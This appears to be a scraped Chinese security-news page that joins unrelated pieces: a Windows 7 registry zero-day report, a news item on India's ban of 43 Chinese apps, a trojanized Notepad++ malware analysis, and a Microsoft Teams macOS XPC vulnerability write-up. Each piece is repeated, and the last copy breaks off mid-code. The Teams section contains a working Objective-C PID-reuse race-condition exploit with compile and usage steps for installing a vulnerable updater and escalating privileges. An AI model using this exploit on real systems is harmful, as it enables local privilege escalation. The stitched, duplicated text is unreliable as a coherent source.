法国安全研究人员Clément Labro在分析Windows 安全工具更新时意外发现了一个影响Windows 7和Windows Server 2008 R2系统的0 day漏洞。

漏洞位于RPC Endpoint Mapper和DNS Cache服务的2个错误配置的注册表中,RPC Endpoint Mapper和DNS Cache服务是所有Windows 安装中的必备部分。

· HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

· HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

Clément Labro称,攻击者利用该0 day漏洞可以修改这些注册表的内容来激活Windows 性能监控机制使用的子键。

性能子键一般用来监控应用程序的性能,因此允许开发者使用定制工具来加载自己的DLL 文件来记录性能。

在最近的Windows 版本中,这些DLL 被限制了,加载后的权限也不大。但是在Windows 7和Windows server 2008中,任何可以加载以SYSTEM 级权限运行的定制DLL。

Labro称是在发布常用的Windows安全错误配置工具PrivescCheck后发现的该0 day漏洞,恶意软件可以利用这些安全错误配置来进行权限提升。新发布的PrivescCheck 支持对新的集合进行权限提升检查,并发现了一个新的、未修复的权限提升漏洞。因为将漏洞私下提交给微软耗时较长,因此研究人员选择在博客上公开该漏洞。

ZDNet也联系了微软,但是没有得到官方的回复。因为Windows 7和Windows Server 2008 R2都已经停止官方更新了,微软也不在提供免费的安全更新。但部分Windows 7用户可以通过ESU (Extended Support Updates) 项目来付费获取一些安全更新。

目前还不清楚微软是否会修复该0 day漏洞,但ACROS安全公司已经提供了一个微补丁。微补丁需要通过该公司的0patch 安全软件来安装。

更多关于该0 day漏洞的技术细节参见:https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ACROS安全发布的微补丁参见:https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html

法国安全研究人员Clément Labro在分析Windows 安全工具更新时意外发现了一个影响Windows 7和Windows Server 2008 R2系统的0 day漏洞。

漏洞位于RPC Endpoint Mapper和DNS Cache服务的2个错误配置的注册表中,RPC Endpoint Mapper和DNS Cache服务是所有Windows 安装中的必备部分。

· HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

· HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

Clément Labro称,攻击者利用该0 day漏洞可以修改这些注册表的内容来激活Windows 性能监控机制使用的子键。

性能子键一般用来监控应用程序的性能,因此允许开发者使用定制工具来加载自己的DLL 文件来记录性能。

在最近的Windows 版本中,这些DLL 被限制了,加载后的权限也不大。但是在Windows 7和Windows server 2008中,任何可以加载以SYSTEM 级权限运行的定制DLL。

Labro称是在发布常用的Windows安全错误配置工具PrivescCheck后发现的该0 day漏洞,恶意软件可以利用这些安全错误配置来进行权限提升。新发布的PrivescCheck 支持对新的集合进行权限提升检查,并发现了一个新的、未修复的权限提升漏洞。因为将漏洞私下提交给微软耗时较长,因此研究人员选择在博客上公开该漏洞。

ZDNet也联系了微软,但是没有得到官方的回复。因为Windows 7和Windows Server 2008 R2都已经停止官方更新了,微软也不在提供免费的安全更新。但部分Windows 7用户可以通过ESU (Extended Support Updates) 项目来付费获取一些安全更新。

目前还不清楚微软是否会修复该0 day漏洞,但ACROS安全公司已经提供了一个微补丁。微补丁需要通过该公司的0patch 安全软件来安装。

更多关于该0 day漏洞的技术细节参见:https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ACROS安全发布的微补丁参见:https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html

周二,印度电子和信息技术部称处于国家安全考虑决定在6月颁布的中国APP禁令基础上,再禁用43个APP。中国APP名单如下:

· 阿里卖家APP

· 千牛工作台(Alibaba Workbench)

· 全球速卖通(AliExpress,国际版淘宝)

· Alipay Cashier(为国外商家打造的支付宝收银平台)

· Lalamove India(货拉拉海外版)

· Drive with Lalamove India(货拉拉海外司机版)

· Snack Video(快手版抖音海外短视频)

· CamCard (名片全能王)

· CamCard - BCR (Western) (名片全能王)

· Soul(社交App)

· Chinese Social (香港开发者开发的交友APP)

· Date in Asia (单身在线交友软件)

· WeDate(手机交友软件)

· Free dating app(手机交友软件)

· Adore App(婚恋相亲平台)

· Guys Only Dating: Gay Chat(香港)

· Tubit(交友)

· WeWorkChina(办公室租赁)

· Rela 热拉(女性社交软件)

· Cashier Wallet(上海讯联数据服务有限公司)

· MangoTV(芒果TV)

· MGTV(湖南卫视官方APP)

· WeTV(腾讯视频wetv国际版)电视版

· WeTV (腾讯视频wetv国际版)

· WeTV Lite(腾讯视频海外精简版)

· Lucky Live(国内视频交友APP)

· 淘宝直播

· 钉钉(阿里)

· Identity V(第五人格,网易游戏)

· 《迷失岛2:时间的灰烬(Isoland 2:Ashes of Time)》

· BoxStar (尖塔奇兵)

· Heroes Evolved (英魂之刃海外版)

6月,印度首次发布禁令,禁止使用59款APP,其中包括中国的抖音、UC 浏览器、微博、微信等。随后,在9月,又禁用了118个APP,包括百度、支付宝、企业微信等。加上周二发布的针对43个APP的禁令,印度禁用的APP数量已经达到了220个,其中大部分来自中国。

周二,印度电子和信息技术部称处于国家安全考虑决定在6月颁布的中国APP禁令基础上,再禁用43个APP。中国APP名单如下:

· 阿里卖家APP

· 千牛工作台(Alibaba Workbench)

· 全球速卖通(AliExpress,国际版淘宝)

· Alipay Cashier(为国外商家打造的支付宝收银平台)

· Lalamove India(货拉拉海外版)

· Drive with Lalamove India(货拉拉海外司机版)

· Snack Video(快手版抖音海外短视频)

· CamCard (名片全能王)

· CamCard - BCR (Western) (名片全能王)

· Soul(社交App)

· Chinese Social (香港开发者开发的交友APP)

· Date in Asia (单身在线交友软件)

· WeDate(手机交友软件)

· Free dating app(手机交友软件)

· Adore App(婚恋相亲平台)

· Guys Only Dating: Gay Chat(香港)

· Tubit(交友)

· WeWorkChina(办公室租赁)

· Rela 热拉(女性社交软件)

· Cashier Wallet(上海讯联数据服务有限公司)

· MangoTV(芒果TV)

· MGTV(湖南卫视官方APP)

· WeTV(腾讯视频wetv国际版)电视版

· WeTV (腾讯视频wetv国际版)

· WeTV Lite(腾讯视频海外精简版)

· Lucky Live(国内视频交友APP)

· 淘宝直播

· 钉钉(阿里)

· Identity V(第五人格,网易游戏)

· 《迷失岛2:时间的灰烬(Isoland 2:Ashes of Time)》

· BoxStar (尖塔奇兵)

· Heroes Evolved (英魂之刃海外版)

6月,印度首次发布禁令,禁止使用59款APP,其中包括中国的抖音、UC 浏览器、微博、微信等。随后,在9月,又禁用了118个APP,包括百度、支付宝、企业微信等。加上周二发布的针对43个APP的禁令,印度禁用的APP数量已经达到了220个,其中大部分来自中国。

木马化的开源软件是很难发现的,因为它利用了合法的、非恶意的软件,因此对定向攻击非常有用。但是,进一步调研发现了暴露恶意意图的可疑行为。

调查分析

研究人员在一次事件的分析中发现了一个名为notepad.exe 的文件。因为 Notepad 是一款知名的合法应用程序。因此,一些恶意软件作者通过使用合法软件的名字来对恶意文件进行伪装以绕过检测。

Fig-1-Telemetry-Data

图 1. 可疑的notepad.exe 文件

notepad.exe 文件是通过ntoskrnl.exe 可执行文件来释放的,这是Windows NT 操作系统kernel 可执行文件。这一过程可疑通过利用ntoskrnl.exe 或网络共享来实现。根据数据分析,研究人员认为本例中攻击者使用的网络共享方式。通过RCA 分析,研究人员发现恶意 notepad.exe 文件通过调用以下工具完成了一些可疑的操作:

image.png

表 1. 可执行文件名和函数

notepad.exe文件到这些进程和函数的链接表明改文件是一个典型的后门,会从恶意远程用户处获取命令。notepad.exe的属性如下所示:

Fig-2-Notepad-properties

图 2. Notepad.exe属性

文件描述、产品名、原始的文件名是Notepad++。而事实上,Notepad++ 可执行文件一般是notepad++.exe而不是样本中的“notepad.exe。版本v7.8.6 也是比较老的,目前最新的版本是11月发布的v7.9.1。

执行文件发现:

Fig-3-Executed-notepad

图 3. 执行notepad.exe文件

该文件的用户接口与合法的Notepad++ 文件非常类似。乍一看没有什么问题。但是从行为上来说,研究人员发现样本会搜索c:\windows\debug 文件夹的config.dat 文件。

Fig-4-config-file

图 4. 搜索config.dat 文件

代码分析

反编译恶意Notepad++ 文件的结果如下所示:

Fig-5-Code-snippet-malicious-notepad

图 5. 恶意Notepad++ 文件代码部分

非恶意Notepad++ 文件的代码部分如下所示:

Fig-6-Code-snippet-non-malicious-notepad

图 6. 非恶意Notepad++ 文件代码部分

这些代码有很多的相似之处。但是,恶意的Notepad++ 文件有一些额外的用于加载加密的blob文件(config.dat)的代码。加密的代码解密并在内存中执行后就可以执行后门行为。

研究人员一共发现了2个使用相同加载器但使用不同payload的实例,其中一个payload是TrojanSpy.Win32.LAZAGNE.B,另一个payload是Ransom.Win32.EXX.YAAK-B (Defray勒索软件)。进一步调查发现其他使用相同加载器的blob 文件可以加载不同的payload。

研究人员怀疑该文件是用于定向水坑攻击中了。在初期的机器被感染后,通过管理员分享传播恶意notepad++ 和config.dat。该notepad.exe 文件来自于恶意源头,与Notepad和Notepad++.exe的官方发布源没有任何关系。

武器化开源软件

由于与合法的Notepad 文件非常相似,因为分析的样本很可能会被错认为非恶意的文件,尤其是计算机知识匮乏的员工。由于Notepad 的源代码是公开的,任何人都可以访问,所以攻击者通过木马化开源软件实现了这一任务。

攻击者可以寻找广泛使用的开源软件,并通过添加可以执行加载加密blob 文件类似功能的代码来木马化开源软件。也就是说文件的二进制文件代码大多是非恶意的,而恶意代码的目的只是加载文件。此外,加密的blob 文件也没有文件头信息。因此很难检测,甚至基于人工智能/机器学习方法的反恶意软件解决方案也难以检测。

建议

研究人员建议用户从官方或合法下载文件、应用和软件(包括开源软件)。企业可以创建和维护一个允许从中下载的站点列表。对于安全和IT 团队,强烈建议验证下载的文件的校验和。

木马化的开源软件是很难发现的,因为它利用了合法的、非恶意的软件,因此对定向攻击非常有用。但是,进一步调研发现了暴露恶意意图的可疑行为。

调查分析

研究人员在一次事件的分析中发现了一个名为notepad.exe 的文件。因为 Notepad 是一款知名的合法应用程序。因此,一些恶意软件作者通过使用合法软件的名字来对恶意文件进行伪装以绕过检测。

Fig-1-Telemetry-Data

图 1. 可疑的notepad.exe 文件

notepad.exe 文件是通过ntoskrnl.exe 可执行文件来释放的,这是Windows NT 操作系统kernel 可执行文件。这一过程可疑通过利用ntoskrnl.exe 或网络共享来实现。根据数据分析,研究人员认为本例中攻击者使用的网络共享方式。通过RCA 分析,研究人员发现恶意 notepad.exe 文件通过调用以下工具完成了一些可疑的操作:

image.png

表 1. 可执行文件名和函数

notepad.exe文件到这些进程和函数的链接表明改文件是一个典型的后门,会从恶意远程用户处获取命令。notepad.exe的属性如下所示:

Fig-2-Notepad-properties

图 2. Notepad.exe属性

文件描述、产品名、原始的文件名是Notepad++。而事实上,Notepad++ 可执行文件一般是notepad++.exe而不是样本中的“notepad.exe。版本v7.8.6 也是比较老的,目前最新的版本是11月发布的v7.9.1。

执行文件发现:

Fig-3-Executed-notepad

图 3. 执行notepad.exe文件

该文件的用户接口与合法的Notepad++ 文件非常类似。乍一看没有什么问题。但是从行为上来说,研究人员发现样本会搜索c:\windows\debug 文件夹的config.dat 文件。

Fig-4-config-file

图 4. 搜索config.dat 文件

代码分析

反编译恶意Notepad++ 文件的结果如下所示:

Fig-5-Code-snippet-malicious-notepad

图 5. 恶意Notepad++ 文件代码部分

非恶意Notepad++ 文件的代码部分如下所示:

Fig-6-Code-snippet-non-malicious-notepad

图 6. 非恶意Notepad++ 文件代码部分

这些代码有很多的相似之处。但是,恶意的Notepad++ 文件有一些额外的用于加载加密的blob文件(config.dat)的代码。加密的代码解密并在内存中执行后就可以执行后门行为。

研究人员一共发现了2个使用相同加载器但使用不同payload的实例,其中一个payload是TrojanSpy.Win32.LAZAGNE.B,另一个payload是Ransom.Win32.EXX.YAAK-B (Defray勒索软件)。进一步调查发现其他使用相同加载器的blob 文件可以加载不同的payload。

研究人员怀疑该文件是用于定向水坑攻击中了。在初期的机器被感染后,通过管理员分享传播恶意notepad++ 和config.dat。该notepad.exe 文件来自于恶意源头,与Notepad和Notepad++.exe的官方发布源没有任何关系。

武器化开源软件

由于与合法的Notepad 文件非常相似,因为分析的样本很可能会被错认为非恶意的文件,尤其是计算机知识匮乏的员工。由于Notepad 的源代码是公开的,任何人都可以访问,所以攻击者通过木马化开源软件实现了这一任务。

攻击者可以寻找广泛使用的开源软件,并通过添加可以执行加载加密blob 文件类似功能的代码来木马化开源软件。也就是说文件的二进制文件代码大多是非恶意的,而恶意代码的目的只是加载文件。此外,加密的blob 文件也没有文件头信息。因此很难检测,甚至基于人工智能/机器学习方法的反恶意软件解决方案也难以检测。

建议

研究人员建议用户从官方或合法下载文件、应用和软件(包括开源软件)。企业可以创建和维护一个允许从中下载的站点列表。对于安全和IT 团队,强烈建议验证下载的文件的校验和。

Offensive Security安全研究人员在Microsoft Teams的XPC 服务中发现了一个安全漏洞,并将漏洞报告给了MSRC,微软确认了该漏洞但决定不立即修复。

漏洞根源分析

漏洞是两个不同问题引发,当这两个问题组合在一起时就会引发漏洞利用场景:

· 不安全的XPC 连接验证;

· 安装包用户控制和包签名验证不充分;

XPC 服务是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件启动的。

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -
 

 

   Label com.microsoft.teams.TeamsUpdaterDaemon MachServices  
     com.microsoft.teams.TeamsUpdaterDaemon 
       Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

图1 – Microsoft Teams Updater launchd文件

其中含有一个名为com.microsoft.teams.TeamsUpdaterDaemon 的Mach服务,可执行路径为/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。这个位置是很不寻常的,因为类似的服务一般安装在 /Library/PrivilegedHelperTools/ 目录下。

研究人员用Hopper 打开了该二进制文件,开始分析shouldAcceptNewConnection: 方法,该方法负责控制对XPC 服务的连接访问。

/* @class ServiceDelegate */
 
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
 
r12 = [arg3 retain];
 
rdx = r12;
 
r14 = [self isValidConnection:rdx];

图 2 –shouldAcceptNewConnection: 方法开始部分

shouldAcceptNewConnection: 方法会接受NSXPCConnection 对象作为参数,其中含有对连接的客户端的引用。本例中参数是arg3,会立刻传递给isValidConnection: 方法来验证连接的客户端。isValidConnection: 方法如下所示:

-(char)isValidConnection:(void *)arg2 {
 
r13 = [arg2 retain];
 
rbx = [[Logger getInstance] retain];
 
[rbx logInfo:@"Validating connection"];
 
[rbx release];
 
rbx = [arg2 processIdentifier];

图3 – isValidConnection: 方法

isValidConnection: 方法会获取客户端的PID,用于之后的验证。如果开发者使用auditToken 特征而不是PID,那么XPC 服务就可以验证连接的服务是不是期望的了。但是,因为PID可以重用,因此验证是可能被绕过的。

通过processIdentifier 的连接的验证是非常复杂的。但是因为使用了PID 就可能会被绕过。

通过分析主应用的代码签名可以发现另外一个问题:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app
 
Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams
 
Identifier=com.microsoft.teams
 
Format=app bundle with Mach-O thin (x86_64)
 
CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded
 
Signature size=9060
 
Timestamp=2020. Jun 4. 3:32:37
 
Info.plist entries=17
 
TeamIdentifier=UBF8T346G9
 
Runtime Version=10.12.0
 
Sealed Resources version=2 rules=13 files=128
 
Internal requirements count=1 size=180
 

 

   com.apple.security.device.camera  com.apple.security.device.audio-input  com.apple.security.personal-information.location  com.apple.security.automation.apple-events  com.apple.security.cs.allow-jit  com.apple.security.cs.allow-unsigned-executable-memory  com.apple.security.cs.disable-library-validation  com.apple.security.cs.disable-executable-page-protection

图4 – “Microsoft Teams.app”的代码签名

即时使用了audit_token,MS Teams 应用仍然可能会受到dylib代理攻击的影响,因为com.apple.security.cs.disable-library-validation entitlement 被设置为true。因此,攻击者可以向应用注入dylib、当其连接到XPC 服务时冒充它。

虽然app的文件夹只有root用户可写,并且无法替换其中的dylib,但是恶意攻击者可以将其复制到任意文件,然后注入到复制的应用中。

可以看到app文件夹中可以被劫持的dylib很多,比如:

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib
/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

图5 – “Microsoft Teams.app” 中的Dylibs

installUpdateWithPackage:withPreferences:withReply: 方法会将包路径作为参数接受。该路径是由用户控制的,可以是文件系统中的任何文职。该方法会检查文件是否存在,如果存在就清空应用支持文件夹。然后,该方法调用copyPkgToAppSupport: 来复制包到应用支持文件夹,该文件夹只有root 用户才可以访问。这会锁定复制的文件并验证。

该包被复制后,会调用validatePackage: 方法。

validatePackage: 方法会用pkgutil 来检查包是否是代码签名的,如果是,就调用_FValidMicrosoftPackage。

 _FValidMicrosoftPackage 函数负责验证微软的签名。验证并不能预防老的、有漏洞的微软应用的安装。

总的来看,研究人员发现可以执行dylib 劫持或PID 重用攻击来与MS teams的XPC 服务对话。该服务会暴露一个允许安装定制的微软签名的安装包的函数。如果签名验证正确完成,就可以安装可能含有有漏洞的老版本的微软应用。

漏洞利用

为了利益Teams应用漏洞,首先需要连接XPC 服务。为此,研究人员用经典的竞争条件PID 重用攻击。因为每个对XPC 服务的调用都会执行clearPkgsInAppSupport: 方法,应用支持文件夹的内容会被删除,只需要赢得竞争条件就可以了。如果赢得了竞争条件,复制的文件就会被删除,引发漏洞利用失败。

一旦与XPC 服务通信,就可以安装Microsoft AutoUpdate (MAU) 4.20,其中包含本地权限提升漏洞。

漏洞利用方案如下:

· 通过PID 重用攻击与XPC 服务通信;

· 安装有漏洞的Microsoft AutoUpdate 版本;

· 利用MAU XPC服务中的权限提升漏洞(CVE-2020-0984)。

在运行漏洞利用代码前,需要将有漏洞的MAU 安装器放在正确的位置。研究人员将下载Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并将其放置在 /tmp/ 目录。然后调用XPC 服务的 installUpdateWithPackage:withPreferences:withReply: 方法,并执行PID 重用攻击。

PoC 代码如下:

#import #include #include  
@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end
 
int main(void) {
 
//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;
 
int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];
 
// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
 
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
 
//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";
 
//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];
 
//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);
 
cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

可以用下面的命令编译PoC 代码:

gcc -framework Foundation msteamspid.m -o msteamspid

运行漏洞利用后,需要检查MAU 包是否安装过。因为漏洞利用使用了竞争条件,可能需要多次运行。根据机器的速度,RACE_COUNT 变量可能需要调整。

根据位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服务日志,下面的记录会出现一次,否则漏洞利用将会失败。

2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-连接验证

多次调用 installUpdateWithPackage:withPreferences:withReply: 可能会在clearPkgsInAppSupport: 调用过程中引发pkg 文件移除,安装将会失败。

成功利用了Microsoft Teams漏洞后,需要通过XPC 调用刚刚安装的MAU 应用。MAU 漏洞利用可以通过注入dylib 来完成。

Offensive Security安全研究人员在Microsoft Teams的XPC 服务中发现了一个安全漏洞,并将漏洞报告给了MSRC,微软确认了该漏洞但决定不立即修复。

漏洞根源分析

漏洞是两个不同问题引发,当这两个问题组合在一起时就会引发漏洞利用场景:

· 不安全的XPC 连接验证;

· 安装包用户控制和包签名验证不充分;

XPC 服务是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件启动的。

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -
 

 

   Label com.microsoft.teams.TeamsUpdaterDaemon MachServices  
     com.microsoft.teams.TeamsUpdaterDaemon 
       Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

图1 – Microsoft Teams Updater launchd文件

其中含有一个名为com.microsoft.teams.TeamsUpdaterDaemon 的Mach服务,可执行路径为/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。这个位置是很不寻常的,因为类似的服务一般安装在 /Library/PrivilegedHelperTools/ 目录下。

研究人员用Hopper 打开了该二进制文件,开始分析shouldAcceptNewConnection: 方法,该方法负责控制对XPC 服务的连接访问。

/* @class ServiceDelegate */
 
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
 
r12 = [arg3 retain];
 
rdx = r12;
 
r14 = [self isValidConnection:rdx];

图 2 –shouldAcceptNewConnection: 方法开始部分

shouldAcceptNewConnection: 方法会接受NSXPCConnection 对象作为参数,其中含有对连接的客户端的引用。本例中参数是arg3,会立刻传递给isValidConnection: 方法来验证连接的客户端。isValidConnection: 方法如下所示:

-(char)isValidConnection:(void *)arg2 {
 
r13 = [arg2 retain];
 
rbx = [[Logger getInstance] retain];
 
[rbx logInfo:@"Validating connection"];
 
[rbx release];
 
rbx = [arg2 processIdentifier];

图3 – isValidConnection: 方法

isValidConnection: 方法会获取客户端的PID,用于之后的验证。如果开发者使用auditToken 特征而不是PID,那么XPC 服务就可以验证连接的服务是不是期望的了。但是,因为PID可以重用,因此验证是可能被绕过的。

通过processIdentifier 的连接的验证是非常复杂的。但是因为使用了PID 就可能会被绕过。

通过分析主应用的代码签名可以发现另外一个问题:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app
 
Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams
 
Identifier=com.microsoft.teams
 
Format=app bundle with Mach-O thin (x86_64)
 
CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded
 
Signature size=9060
 
Timestamp=2020. Jun 4. 3:32:37
 
Info.plist entries=17
 
TeamIdentifier=UBF8T346G9
 
Runtime Version=10.12.0
 
Sealed Resources version=2 rules=13 files=128
 
Internal requirements count=1 size=180
 

 

   com.apple.security.device.camera  com.apple.security.device.audio-input  com.apple.security.personal-information.location  com.apple.security.automation.apple-events  com.apple.security.cs.allow-jit  com.apple.security.cs.allow-unsigned-executable-memory  com.apple.security.cs.disable-library-validation  com.apple.security.cs.disable-executable-page-protection

图4 – “Microsoft Teams.app”的代码签名

即时使用了audit_token,MS Teams 应用仍然可能会受到dylib代理攻击的影响,因为com.apple.security.cs.disable-library-validation entitlement 被设置为true。因此,攻击者可以向应用注入dylib、当其连接到XPC 服务时冒充它。

虽然app的文件夹只有root用户可写,并且无法替换其中的dylib,但是恶意攻击者可以将其复制到任意文件,然后注入到复制的应用中。

可以看到app文件夹中可以被劫持的dylib很多,比如:

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib
/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

图5 – “Microsoft Teams.app” 中的Dylibs

installUpdateWithPackage:withPreferences:withReply: 方法会将包路径作为参数接受。该路径是由用户控制的,可以是文件系统中的任何文职。该方法会检查文件是否存在,如果存在就清空应用支持文件夹。然后,该方法调用copyPkgToAppSupport: 来复制包到应用支持文件夹,该文件夹只有root 用户才可以访问。这会锁定复制的文件并验证。

该包被复制后,会调用validatePackage: 方法。

validatePackage: 方法会用pkgutil 来检查包是否是代码签名的,如果是,就调用_FValidMicrosoftPackage。

 _FValidMicrosoftPackage 函数负责验证微软的签名。验证并不能预防老的、有漏洞的微软应用的安装。

总的来看,研究人员发现可以执行dylib 劫持或PID 重用攻击来与MS teams的XPC 服务对话。该服务会暴露一个允许安装定制的微软签名的安装包的函数。如果签名验证正确完成,就可以安装可能含有有漏洞的老版本的微软应用。

漏洞利用

为了利益Teams应用漏洞,首先需要连接XPC 服务。为此,研究人员用经典的竞争条件PID 重用攻击。因为每个对XPC 服务的调用都会执行clearPkgsInAppSupport: 方法,应用支持文件夹的内容会被删除,只需要赢得竞争条件就可以了。如果赢得了竞争条件,复制的文件就会被删除,引发漏洞利用失败。

一旦与XPC 服务通信,就可以安装Microsoft AutoUpdate (MAU) 4.20,其中包含本地权限提升漏洞。

漏洞利用方案如下:

· 通过PID 重用攻击与XPC 服务通信;

· 安装有漏洞的Microsoft AutoUpdate 版本;

· 利用MAU XPC服务中的权限提升漏洞(CVE-2020-0984)。

在运行漏洞利用代码前,需要将有漏洞的MAU 安装器放在正确的位置。研究人员将下载Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并将其放置在 /tmp/ 目录。然后调用XPC 服务的 installUpdateWithPackage:withPreferences:withReply: 方法,并执行PID 重用攻击。

PoC 代码如下:

#import #include #include  
@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end
 
int main(void) {
 
//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;
 
int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];
 
// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
 
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
 
//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";
 
//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];
 
//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);
 
cleanup:
